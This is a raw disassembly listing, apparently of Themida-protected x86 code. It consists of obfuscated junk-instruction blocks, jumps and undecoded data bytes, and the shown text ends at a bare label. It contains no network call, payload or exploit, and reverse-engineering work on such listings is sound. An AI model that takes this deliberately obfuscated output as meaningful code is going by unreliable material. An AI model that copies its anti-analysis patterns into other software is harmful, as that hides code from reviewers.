		dd 701F781h, 0A8E94189h, 28000081h, 66D32CF8h, 81241C8Bh
		dd 2C4h, 15166800h, 14890000h, 7104E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546EBE:				; CODE XREF: Themida_:0054E070j
		push	4
		pop	edx
		sub	ecx, edx
		pop	edx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	eax, [esp]
		jmp	loc_54C331
; ---------------------------------------------------------------------------
		dw 0E289h
		dd offset dword_590368
		dd 2F52E900h, 34FF0000h, 240C8B24h, 0E9E28952h,	49FDh
		dd 7E25C7BAh, 0FFBF572Dh, 0E9FFFFFFh, 91F3h, 0B75384B8h
		dd 0C3E2D76h, 0C1480386h, 0D8F707E8h, 199D7635h, 956DE9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546F22:				; CODE XREF: Themida_:005493B8j
		push	70E8h
		mov	[esp], esp
		jmp	loc_550C50
; ---------------------------------------------------------------------------
		db 81h
		dd 391954EFh, 0E9F88900h, 7325h
; ---------------------------------------------------------------------------


loc_546F3C:				; CODE XREF: Themida_:0054856Cj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	esp, 4
		and	eax, ebp
		push	dword ptr [esp]
		jmp	loc_54A28F
; ---------------------------------------------------------------------------


loc_546F56:				; CODE XREF: Themida_:0054A8B9j
		mov	ebx, 18AC33B4h
		and	esi, ebx
		pop	ebx
		jmp	loc_5472E0
; ---------------------------------------------------------------------------
		db 81h
		dd 5C1AC9F1h, 59C8015Eh, 32C6E9h
		db 0
; ---------------------------------------------------------------------------


loc_546F71:				; CODE XREF: Themida_:0054F10Cj
		mov	edx, [esp]
		jmp	loc_54DBD7
; ---------------------------------------------------------------------------
		db 4, 24h, 0E9h
		dd 93B9h, 0AC13822Dh, 5C8290Ah,	0AAC1382h, 24348B59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_54FC7B
; ---------------------------------------------------------------------------
aWqs_		db 'WQé.',0
		align 4
		dd 4E4EB900h, 0C8297846h, 2434FF59h, 0B283E9h, 49962D00h
		dd 410524EBh, 8B026006h, 0C483241Ch, 4BE95204h,	0FF000090h
		dd 0BDE92434h, 5F000035h, 0E9D1F759h, 2553h, 0BE7068BAh
		dd 5A2CE921h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546FEE:				; CODE XREF: Themida_:0054B7C0j
		mov	[edi+20h], ecx
		jmp	loc_551FAC
; ---------------------------------------------------------------------------
		dw 0B605h
		dd 294F761Ah, 1AB62DC8h, 0C7E94F76h, 6600003Bh,	66241489h
		dd 0F7E99C50h, 53FFFFF1h, 877046BBh, 245C295Fh,	595E5B08h
		dd 1737BD55h, 0D5F74AC5h, 0A8E9DDF7h, 89000077h, 0E9542404h
		dd 6187h, 7D16B850h, 0B951633Eh, 4C2A73D5h, 4859C821h
		dd 5C02E9h
		db 0
; ---------------------------------------------------------------------------


loc_54704D:				; CODE XREF: Themida_:00552389j
		sub	ebp, 4
		jmp	loc_551276
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
aIusZ		db '䋎>Z',0
		db 0
; ---------------------------------------------------------------------------


loc_54705F:				; CODE XREF: Themida_:0054C58Ej
		mov	bl, 5Bh
		sub	dl, 11h
		add	dl, bl
		add	dl, 11h
		jmp	loc_54E32C
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48124h, 57000000h,	0A2A6E9h, 2434FF00h, 612EE9h
		db 0
; ---------------------------------------------------------------------------


loc_547085:				; CODE XREF: Themida_:0054EDE9j
		shl	al, 4
		inc	al
		push	ecx
		mov	cl, 23h
		dec	cl
		neg	cl
		and	cl, 46h
		neg	cl
		xor	cl, 2Bh
		not	cl
		jmp	loc_54F88D
; ---------------------------------------------------------------------------
		dd 0BA241489h, 2E4B1382h, 0E902E2C1h, 380Eh, 0EE81CE01h
		dd 4D646CF6h, 9086E9h, 0EDBD5500h, 0F7485040h, 49F581DDh
		dd 29AA37CEh, 0D6315DEAh, 0CE81465Ah, 613D75E6h, 8105EEC1h
		dd 0AE3B05C6h, 0F6D7E95Ah, 895CFFFFh, 5153240Ch, 0EF88C588h
		dd 5BCBE9h, 77EB8100h, 0E970B80Dh, 0A752h, 0B8240489h
		dd 64B92FDBh, 5AE9E0D1h, 0AD0000B4h, 2DE9D831h,	0E9000061h
		dd 0FFFFF0EEh
; ---------------------------------------------------------------------------


loc_54711C:				; CODE XREF: Themida_:0054BBCFj
		add	edx, 0BA0B5BE1h
		add	ebp, edx
		pop	edx
		mov	edx, ebp
		pop	ebp
		jmp	loc_54C0BF
; ---------------------------------------------------------------------------


loc_54712D:				; CODE XREF: Themida_:0054A202j
		sub	eax, ebp
		pop	ebp
		dec	eax
		add	eax, 662953FEh
		and	edx, eax
		pop	eax
		add	edx, 248BD5B7h
		push	edx
		add	dword ptr [esp], 0F667E34h
		pop	ebp
		sub	ebp, 0F667E34h
		pop	edx
		neg	ebp
		or	ebp, 2A0F45B4h
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		dec	ebp
		not	ebp
		not	ebp
		push	esi
		jmp	loc_55285F
; ---------------------------------------------------------------------------
		db 87h
		dd 248B242Ch, 2434FF24h, 592434FFh, 9B51E9h, 51E68900h
		dd 4B9h, 59CE0100h, 4C681h, 34870000h, 9E685C24h, 89000064h
		dd 5152241Ch, 0E98EB450h, 6F63h, 0E9241C89h, 8AEEh, 226BB951h
		dd 16E93E93h, 83000056h, 3C8904ECh, 2EBE5624h, 4E6E4670h
		dd 3932E9h, 0E8BE5600h,	0D144BD55h, 0D2F681E6h,	81897AABh
		dd 137970EAh, 10D3E93Fh, 0C3810000h, 0E39340FCh, 0D0E9DA29h
		dd 81000056h, 4C3h, 5884E900h, 0DFF70000h, 23B7BE56h, 0EE813E81h
		dd 64A2673Fh, 607E9h, 4C78100h,	0E9000000h, 29EEh, 2C7815Dh
		dd 33000000h, 3C31243Ch, 243C3324h, 1EFCE9h, 55C68000h
		dd 0E6C0DEF6h, 0F26E907h, 77FF0000h, 59669D1Ch,	9C241CD2h
		dd 356CE9h
		db 0
; ---------------------------------------------------------------------------


loc_547245:				; CODE XREF: Themida_:005528F0j
		add	ecx, edi
		add	ecx, 63526FEBh
		add	[ecx], esi
		pop	ecx
		push	dword ptr [esp]
		jmp	loc_551799
; ---------------------------------------------------------------------------


loc_547258:				; CODE XREF: Themida_:0054E36Dj
		sub	ebp, 7BC228D3h
		sub	esi, ebp
		jmp	loc_5527F3
; ---------------------------------------------------------------------------
		db 1, 0DDh, 81h
		dd 0C03E78EDh, 62E95B12h, 8300008Eh, 0BA5204C4h, 577E0EE6h
		dd 0E2C1DAF7h, 44EA8107h, 0E9290D05h, 8AEDh
; ---------------------------------------------------------------------------


loc_54728C:				; CODE XREF: Themida_:0054637Ej
		sub	ecx, 2B2F18F9h
		sub	ecx, ebp
		add	ecx, 2B2F18F9h
		pop	ebp
		push	edi
		push	ecx
		mov	ecx, 4274085Ah
		mov	edi, 63B61C35h
		xor	edi, ecx
		jmp	loc_547B17
; ---------------------------------------------------------------------------


loc_5472AE:				; CODE XREF: Themida_:0054DCEBj
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		push	edi
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_5514D8
; ---------------------------------------------------------------------------
aNFy		db '±(ÎfY',0
		db 0F0h
		dd 0E924148Bh, 942Ch
; ---------------------------------------------------------------------------


loc_5472E0:				; CODE XREF: Themida_:00546F5Ej
		xor	esi, 60AD65A3h
		shr	esi, 6
		shl	esi, 4
		push	ebp
		jmp	loc_547E2C
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48324h, 36EF6850h,	5584F04h, 51562205h, 0A1FDE9h
		dd 0A3F18100h, 8160B878h, 7C3E5BF1h, 59CD2979h,	2AE2E94Dh
		dd 815F0000h, 0FCCCEC7h, 0E9FB01A1h, 0A1E4h, 0EF81DFF7h
		dd 0E11FF01Dh, 773E9h, 52E18900h, 9474C0BAh, 3E2C106h
		dd 0F281D2F7h, 0B531FDCh, 0B850D2F7h, 23575F4h,	0E0C1D8F7h
		dd 56853504h, 9B25047Ah, 516E1B09h, 1B81E9h, 3DE95C00h
		dd 81000089h, 0B35F7AC3h, 92BD5572h, 0E95FFA46h, 6F5Dh
		dd 0E951525Bh, 30AAh, 0D8E95558h, 83000028h, 0A6E904C4h
		db 90h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547397:				; CODE XREF: Themida_:0054D473j
		xchg	ebp, [esp]
		jmp	loc_54BCEA
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5E042474h, 588AE9h, 58BE5600h, 81154C38h, 93716BEEh
		dd 94D3E905h, 40040000h, 5A2434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54ABB9
; ---------------------------------------------------------------------------


loc_5473CE:				; CODE XREF: Themida_:00547C29j
		add	eax, ecx
		pop	ecx
		jmp	loc_54682F
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 89572404h, 4C781E7h,	83000000h, 16E904EFh, 81FFFFF8h
		dd 83A80CC3h, 0E9DE01C8h, 90D6h, 2404D25Ch, 0EE08E99Ch
		dd 12BAFFFFh, 0E95FE943h, 1326h, 9D1C77FFh, 4105866h, 0EFE99C24h
		dd 0FFFFFFEDh, 0E7E94077h, 0F7FFFFEDh, 81E3D1DBh, 413C31F3h
		dd 2CF3810Eh, 0E925E145h, 47E9h, 4C4835Dh, 46B5E9h, 4335F00h
		dd 24043124h, 5C240433h, 2896664h, 0FFEDB5E9h, 240C31FFh
		dd 0E9240C33h, 279Ah, 6EAD23BFh, 3249E966h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54746A:				; CODE XREF: Themida_:00548A43j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5493E0
; ---------------------------------------------------------------------------
aZsS		db 'Zé×S',0
		align 2


loc_54747E:				; CODE XREF: Themida_:005485A9j
		shl	eax, 2
		xor	eax, 130A705Ah
		add	eax, 5D226868h
		jmp	loc_54CA13
; ---------------------------------------------------------------------------
		dd 8B59C800h, 0C483241Ch, 7E15E904h, 0E6C10000h, 98E5E903h
		dd 0E9530000h, 8995h, 6A8CED81h, 0ED815304h, 2E503DBFh
		dd 2C58158h, 87000000h,	248B242Ch, 48B6624h, 1AB26824h
		dd 0C890000h, 4EC8124h,	89000000h, 0A5E92424h, 3300005Ah
		dd 0E95C243Ch, 0FFFFF14Dh, 0BA52E589h, 49C3245h, 3241F281h
		dd 0C581049Ch, 0D842D1Ch, 0ED81D501h, 0D842D1Ch, 30B9515Ah
		dd 813D5C3Ah, 0E272FF1h, 0F4F1816Ah, 817B4E61h,	1C7CEFF1h
		dd 59CD292Ch, 8B242C87h, 14892424h, 2DE95124h, 0D1000081h
		dd 63C781E7h, 8175625Dh, 4F5082EFh, 62F78114h, 294B479Dh
		dd 0CBE95FFEh, 81000070h, 4C2h,	4C28300h, 81E68956h, 4C6h
		dd 4EE8100h, 87000000h,	895C2434h, 74FF2414h, 8F5A0424h
		dd 815C2404h, 4ECh, 24048900h, 75416853h, 34890000h, 48676824h
		dd 815E23D9h, 0CF2EC9F6h, 5EF38903h, 0CB81DBF7h, 0B3471Fh
		dd 20BA5255h, 0E90A544Eh, 3E2h
; ---------------------------------------------------------------------------


loc_5475A8:				; CODE XREF: Themida_:0054EAA6j
		mov	[esp], ebp
		push	eax
		push	23C17844h
		mov	eax, [esp]
		add	esp, 4
		mov	ebp, eax
		pop	eax
		shr	ebp, 3
		jmp	loc_548F8D
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 720C53BBh, 0D2F7D387h, 1D53E9h, 24048F00h, 4240481h
		dd 0E9000000h, 1F13h, 0FFEC25E9h, 59CE81FFh, 521DF622h
		dd 937687BAh, 0FAC7E979h, 0EA81FFFFh, 4204003Ch, 525AD301h
		dd 5764B951h, 68BA68CDh, 2968CD57h, 0C38159CAh,	6621416Eh
		dd 0EB81D329h, 6621416Eh, 100DE95Ah, 0EC810000h, 4, 0FF243489h
		dd 0E9042474h, 85EAh, 0CE9D501h, 6800000Ch, 3591h, 83241489h
		dd 1C8904ECh, 0E8BA5224h, 8944E939h, 19BA5AD3h,	81BB16C6h
		dd 370C28C2h, 55DA013Dh, 0A725E9h, 53E68900h, 6765E9h
		db 0
; ---------------------------------------------------------------------------


loc_54766D:				; CODE XREF: Themida_:00551339j
		mov	esi, ecx
		pop	ecx
		xor	esi, 4F5A390Eh
		add	esi, 0E36530BBh
		push	ecx
		mov	ecx, 20h
		jmp	loc_5490E5
; ---------------------------------------------------------------------------
		db 5Fh
		dd 4C781h, 52510000h, 7EFAE9h, 0D4885000h, 4CA968h, 24148900h
		dd 8E48E9h
		db 0, 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54E4AD
; ---------------------------------------------------------------------------
a0ufxWss	db '0ãfX,Wé™\',0
		dw 100h
		dd 5D04246Ch, 0FFF098E9h, 8BDF31FFh, 1EE9241Ch,	89000014h
		dd 0D1E92434h, 4300007Fh, 561BCB81h, 0F7431DCAh, 67F381D3h
		dd 1C00081h, 0C2815BDAh, 4, 31241433h, 6AE92414h
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5476FF:				; CODE XREF: Themida_:0054833Bj
		pop	esp
		add	ecx, 4
		jmp	loc_546950
; ---------------------------------------------------------------------------


loc_54770B:				; CODE XREF: Themida_:00552616j
		add	ecx, esi
		pop	esi
		push	4FAFh
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		jmp	loc_54EE03
; ---------------------------------------------------------------------------
		dw 8166h
		dd 6601DDC3h, 8166D329h, 6601DDEBh, 6244EB81h, 8124148Bh
		dd 4C4h, 0EB816600h, 81661794h,	0E96A7BEBh, 8392h, 243EE953h
		dd 0B9510000h, 0B746104h, 410FF181h, 0BD550C2Eh, 2B170485h
		dd 0E95DE901h, 0CDAh
; ---------------------------------------------------------------------------


loc_54776C:				; CODE XREF: Themida_:0054A422j
		add	ecx, 4
		jmp	loc_54D8C9
; ---------------------------------------------------------------------------
		dd 543C0BBBh, 7DCB8118h, 0E93AA370h, 0FFFFFF57h, 1BBE5659h
		dd 0E904FA33h, 3374h
; ---------------------------------------------------------------------------


loc_547790:				; CODE XREF: Themida_:0054C1EAj
		sub	dh, 0D7h
		push	ecx
		mov	cl, 0B4h
		sub	dh, cl
		pop	ecx
		push	ebx
		mov	bh, 0BAh
		neg	bh
		xor	bh, 82h
		and	dh, bh
		pop	ebx
		push	5398h
		mov	[esp], edx
		neg	byte ptr [esp+1]
		pop	edx
		add	dh, 23h
		sub	al, dh
		jmp	loc_54B436
; ---------------------------------------------------------------------------
		db 57h
		dd 69FCE9h, 2474FF00h, 0F2E95904h, 66FFFFEEh, 52240C89h
		dd 0CE8022B6h, 80D6F66Bh, 0CEFE35EEh, 0EE80CEFEh, 8BF5883Fh
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_54DE10
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0E902C383h, 24A2h
; ---------------------------------------------------------------------------


loc_547800:				; CODE XREF: Themida_:0054BB2Bj
		shr	ebp, 6
		add	ebp, 7203D691h
		sub	edi, ebp
		jmp	loc_547823
; ---------------------------------------------------------------------------
aCfsZ		db 'ÑæFé,‡',0
		align 4
		dd 8B243C87h, 0E7E92424h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547823:				; CODE XREF: Themida_:0054780Bj
		pop	ebp
		push	edx
		mov	edx, 42D92A21h
		sub	edi, 5C243585h
		add	edi, edx
		add	edi, 5C243585h
		pop	edx
		add	edi, esi
		sub	edi, 42D92A21h
		jmp	loc_54A323
; ---------------------------------------------------------------------------
		dw 0EAC1h
		dd 0BD5502h, 29000000h,	7AB1E9D5h, 0E95F0000h, 79Ah, 0EF81DFF7h
		dd 0ACDF7AADh, 79F0E9h,	7EB85000h, 2D6BD14Bh, 7B6C1861h
		dd 0DB77E02Dh, 0E9D8F71Ch, 0FFFFF4B0h, 81243C89h, 4ECh
		dd 0D20E900h, 8B660000h, 85E92404h, 5D00001Ah, 0BD55D7F7h
		dd 5F3067CCh, 5790C581h, 0A9E95A82h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5478AB:				; CODE XREF: Themida_:005469B6j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_54D6F0
; ---------------------------------------------------------------------------
		dw 6C81h
		dd 7AF80424h, 5C290B92h, 44810424h, 7AF80424h, 1C8B0B92h
		dd 7B8EE924h, 0E3890000h, 8B50E9h, 0A1C28000h, 0FFFDB0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5478E5:				; CODE XREF: Themida_:0054DD4Fj
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		add	ebx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		and	ecx, ebx
		jmp	loc_548709
; ---------------------------------------------------------------------------
aUsf		db 'Uéä{',0
		align 4


loc_547908:				; CODE XREF: Themida_:0054D6F1j
		mov	ch, 6Dh
		sub	bl, ch
		pop	ecx
		add	bl, al
		add	bl, 6Dh
		pop	eax
		add	bl, 27h
		sub	bl, al
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 12h
		sub	cl, 0EBh
		sub	bl, cl
		pop	ecx
		sub	bl, 84h
		movzx	eax, al
		mov	dx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	4D24h
		mov	[esp], ebp
		mov	ebp, 700D3365h
		push	ebx
		jmp	loc_546D1D
; ---------------------------------------------------------------------------
aZsiv		db 'Z騢',0
		align 4
aUb6SK		db 'ÑãÃ6ηÐé',1Bh,'Š',0
		dd 0FABB5300h, 0C131D409h, 0EDE907EBh
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54796F:				; CODE XREF: Themida_:0054F40Aj
		pop	eax
		sub	ebp, edx
		jmp	loc_54CC67
; ---------------------------------------------------------------------------
		db 5Bh
		dd 34FFEB31h, 6AE95D24h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547983:				; CODE XREF: Themida_:0054C50Cj
		mov	edi, esp
		jmp	loc_548288
; ---------------------------------------------------------------------------
		dw 0D589h
		dd 3EDC15Ah, 2409F581h,	0F581218Ah, 4C14B274h, 2C8BEB29h
		dd 4C48324h, 775AB850h,	0C3292927h, 245C3158h, 48B5B04h
		dd 4C48124h, 53000000h,	484CBBh, 5BD8314Ah, 0FFE841E9h
		dd 3FE953FFh, 500003Ah,	4, 405h, 24048700h, 0AEDDE9h
		db 0
; ---------------------------------------------------------------------------


loc_5479E1:				; CODE XREF: Themida_:0055191Fj
		pop	ecx
		push	edx
		mov	edx, 10000A04h
		xor	edi, edx
		jmp	loc_547C2E
; ---------------------------------------------------------------------------
		db 83h
		dd 5352FFC1h, 9E020DBBh, 5BDA8961h, 7AEA8142h, 8160E343h
		dd 237215F2h, 81DAF766h, 0D22B94C2h, 5AD1019Dh,	2BDFE9h
		dd 0E4685800h, 89000002h, 0BB53242Ch, 150526D0h, 64E9EBD1h
		dd 56000013h, 741136BEh, 5CE814Dh, 81581906h, 281F85F6h
		dd 5ACE8154h, 811AF818h, 0FD18FEF6h, 5EF7011Bh,	4EF81h
		dd 3C870000h, 34895C24h, 5E18E924h, 8B5A0000h, 8950243Ch
		dd 85FCE9E0h, 34870000h, 13D2E924h, 0C2810000h,	24697B20h
		dd 0EA81FA01h, 24697B20h, 359BEA81h, 0EA817760h, 6FC48D4h
		dd 148B028Bh, 4C48124h,	81000000h, 70446FC2h, 0FABE564Ah
		dd 0E91F7317h, 628Fh, 55FF829h,	24EB4996h, 2E9D829h, 81FFFFF5h
		dd 0E24339EBh, 5BDF01F7h, 3748E9h
		db 0
; ---------------------------------------------------------------------------


loc_547AC9:				; CODE XREF: Themida_:0054CA15j
		pop	eax
		jmp	loc_54BC7F
; ---------------------------------------------------------------------------
		db 50h
		dd 24048B54h, 7F3FE9h, 48B6600h, 4EC8324h, 68240C89h, 4F5Dh
		dd 16E8E9h, 57D82900h, 2F23E9h,	0F6805900h, 8BF028C7h
		dd 89532414h, 4C381E3h,	83000000h, 0A4E904C3h
		db 0ACh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_547B0F:				; CODE XREF: Themida_:0054AAB5j
		mov	[esp], edx
		jmp	loc_54E48C
; ---------------------------------------------------------------------------


loc_547B17:				; CODE XREF: Themida_:005472A9j
		pop	ecx
		push	ebp
		mov	ebp, 3F822217h
		jmp	loc_549A48
; ---------------------------------------------------------------------------
		db 81h
		dd 6EE18FEBh, 5BDE890Ch, 3B5BE9h, 40500h, 0BE560000h, 4
		dd 875EF001h, 248B2404h, 216B6824h, 4890000h, 0E6B8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547B52:				; CODE XREF: Themida_:0054A542j
		dec	ebp
		and	ebp, 16B8037Eh
		shl	ebp, 7
		add	ebp, 26D56CEh
		sub	edi, ebp
		pop	ebp
		jmp	loc_551468
; ---------------------------------------------------------------------------
		dw 5257h
		dd 2B7E1268h, 0F2BF5A27h, 1D8D481h, 876DE9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547B7E:				; CODE XREF: Themida_:0054C0A5j
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	esi
		mov	esi, 225602B1h
		jmp	loc_54CAC8
; ---------------------------------------------------------------------------
		dd 2807C381h, 0C381192Ch, 6A443021h, 4CE0E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547BA6:				; CODE XREF: Themida_:00550186j
		mov	ecx, [esp]
		push	eax
		push	esp
		pop	eax
		push	edi
		mov	edi, 4B2005B1h
		shl	edi, 1
		sub	esp, 4
		mov	[esp], edx
		push	eax
		push	1ECA709Bh
		pop	eax
		not	eax
		not	eax
		dec	eax
		xor	eax, 62F5FDBh
		mov	edx, eax
		pop	eax
		and	edi, edx
		pop	edx
		push	ecx
		push	ebx
		push	7F8A478Ch
		jmp	loc_55222C
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aSsf		db '$é™f',0
		align 2
		dw 8966h
		dd 0D7B7241Ch, 0F800632Ch, 9512E9h
		db 0
; ---------------------------------------------------------------------------


loc_547BF5:				; CODE XREF: Themida_:0054C32Cj
		mov	ecx, eax
		mov	edx, ecx
		pop	ecx
		mov	eax, [esp]
		push	ebx
		jmp	loc_5511EB
; ---------------------------------------------------------------------------
		db 1
		dd 7EC781C7h, 0E9145020h, 0FFFFF6E2h, 0D36500B8h, 58C3017Dh
		dd 39E9C329h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547C1F:				; CODE XREF: Themida_:0054A12Ej
		xchg	ebx, [esp]
		pop	esp
		push	ecx
		mov	ecx, 47811E1Dh
		jmp	loc_5473CE
; ---------------------------------------------------------------------------


loc_547C2E:				; CODE XREF: Themida_:005479EAj
		pop	edx
		sub	eax, 6D354FF9h
		jmp	loc_549E35
; ---------------------------------------------------------------------------


loc_547C39:				; CODE XREF: Themida_:0054F072j
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	7D06h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0FFFFFFFFh
		push	edi
		xor	dword ptr [esp], 4EB4770Ch
		pop	ebx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 551D0C00h
		add	ebp, 0F9976B0Ch
		xor	ebx, ebp
		pop	ebp
		mov	edi, [esp]
		add	esp, 4
		sub	[edi+24h], ebx
		jmp	loc_54CCA7
; ---------------------------------------------------------------------------
		db 0BAh
		dd 4, 34FFD301h, 0E9515A24h, 2117h, 0FE6E5005h,	73685773h
		dd 8900004Dh, 25BD242Ch, 0E942A651h, 96A8h
; ---------------------------------------------------------------------------


loc_547CE0:				; CODE XREF: Themida_:00549BE7j
		add	al, 1Eh
		jmp	loc_54DEB2
; ---------------------------------------------------------------------------


loc_547CE7:				; CODE XREF: Themida_:00550C2Bj
		push	ebx
		jmp	loc_55051C
; ---------------------------------------------------------------------------
		db 81h,	6Ah, 30h
		dd 67B3115h, 1306A81h, 50000000h, 743FE9h, 241C8B00h, 3B04E950h
		dd 162C0000h, 0EC819F04h, 4, 0B2241489h, 0D0DAF68Eh, 686866E2h
		dd 1C89660Eh, 6437E924h, 8B660000h, 0EC832404h,	0E91CE904h
		dd 0C31FFFFh, 240C3324h, 1489665Ch, 9C506624h, 0FFE4C1E9h
		dd 0EFE952FFh, 8B0000AAh, 69E9240Ch, 68FFFFE8h,	107Ch
		dd 56240C89h, 58E95159h
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547D67:				; CODE XREF: Themida_:0054BD30j
		add	esi, 21AD6925h
		not	esi
		dec	esi
		neg	esi
		jmp	loc_54C320
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4BD625D2h, 815DEB21h, 2B6166CBh, 0C2BF5717h,	1A0449Ah
		dd 6D48E9FBh, 0C4830000h, 0E6895604h, 4C681h, 0EE810000h
		dd 4, 5C243487h, 0FF241C89h, 0FF042474h, 835B2434h, 48F04C4h
		dd 24248B24h, 8F22E9h, 48B6600h, 5DEE6824h, 34890000h
		dd 715E6824h, 24890000h, 2E95724h, 5B000039h, 4EC81h, 2C890000h
		dd 73685124h, 5911C642h, 660F181h, 81416D7Bh, 405593C9h
		dd 6BC1815Bh, 898002AAh, 0EF0159CDh, 0E9242C8Bh, 560Bh
; ---------------------------------------------------------------------------


loc_547E0C:				; CODE XREF: Themida_:0054B052j
		add	edi, ecx
		jmp	loc_54A725
; ---------------------------------------------------------------------------
		db 81h
		dd 0E00B4F5h, 2EDC14Fh,	44D9F581h, 0E90159B0h, 0E9F1015Dh
		dd 3791h
; ---------------------------------------------------------------------------


loc_547E2C:				; CODE XREF: Themida_:005472EDj
		mov	ebp, 50723FFh
		sub	ebp, 6FEB02DEh
		shl	ebp, 2
		dec	ebp
		xor	ebp, 4E58D583h
		xor	esi, ebp
		pop	ebp
		push	esi
		push	ebp
		mov	ebp, 3E4666E1h
		sub	[esp+4], ebp
		jmp	loc_54F10B
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 0FFFFF1F9h, 33243C31h, 95C243Ch,	6A0E9C0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547E6A:				; CODE XREF: Themida_:0054D93Cj
		sub	ecx, 6BAF0588h
		add	ecx, ebx
		push	eax
		mov	eax, 231714EBh
		or	eax, 4B27344Bh
		add	eax, 5DE90F28h
		jmp	loc_54936B
; ---------------------------------------------------------------------------


loc_547E87:				; CODE XREF: Themida_:0054828Ej
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esp
		push	edx
		mov	edx, 4
		jmp	loc_546569
; ---------------------------------------------------------------------------
		db 89h
		dd 0E1815BD9h, 40082748h, 5E2FC181h, 0CE93024h,	6600007Ch
		dd 6824048Bh, 20F1h, 89242C89h,	4C581E5h, 52000000h, 986EE9h
		dd 6C685300h, 8900005Ah, 0DBD242Ch, 0C145A625h,	0DDF704E5h
		dd 0F9F5814Dh, 8996E9BDh, 3D5CE9EBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547EEE:				; CODE XREF: Themida_:00550ABBj
		shl	edx, 1
		push	72AFh
		mov	[esp], esi
		jmp	loc_550A55
; ---------------------------------------------------------------------------
		db 5Dh,	51h, 0B9h
		dd 4, 0E959C801h, 288Dh
; ---------------------------------------------------------------------------


loc_547F0C:				; CODE XREF: Themida_:00550FDDj
		mov	edx, ebx
		jmp	loc_55090C
; ---------------------------------------------------------------------------
		db 33h
		dd 248B243Ch, 0CD36624h, 0E7E99C24h, 0FFFFE2h, 2490E9C3h
		dd 48F0000h, 8995E924h,	8B660000h, 0EC812404h, 4, 68240489h
		dd 5F7Ch, 24048F54h, 146E9h
		db 0
; ---------------------------------------------------------------------------


loc_547F4D:				; CODE XREF: Themida_:005528B9j
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_54F31B
; ---------------------------------------------------------------------------
		dw 2B68h
		dd 89000064h, 0E953243Ch, 99BDh, 8009E205h, 51F0297Dh
		dd 60D96855h, 0F75D0D47h, 0F5814DDDh, 8F3896C4h, 0E95DE989h
		dd 0FFFFEFF4h, 3CB68h, 241C8900h, 2199E954h, 0EC810000h
		dd 4, 24048F54h, 4240481h, 0E9000000h, 411Eh, 8108E2C1h
		dd 2E0C6FE2h, 42ABE90Fh, 48B0000h, 4C48324h, 0E904EC83h
		dd 0FFFFF707h
; ---------------------------------------------------------------------------


loc_547FCC:				; CODE XREF: Themida_:0054F88Fj
		shl	cl, 2
		shr	cl, 5
		shr	cl, 3
		push	edx
		mov	dl, 74h
		or	dl, 2Bh
		dec	dl
		jmp	loc_54C4DD
; ---------------------------------------------------------------------------


loc_547FE2:				; CODE XREF: Themida_:0054EFC8j
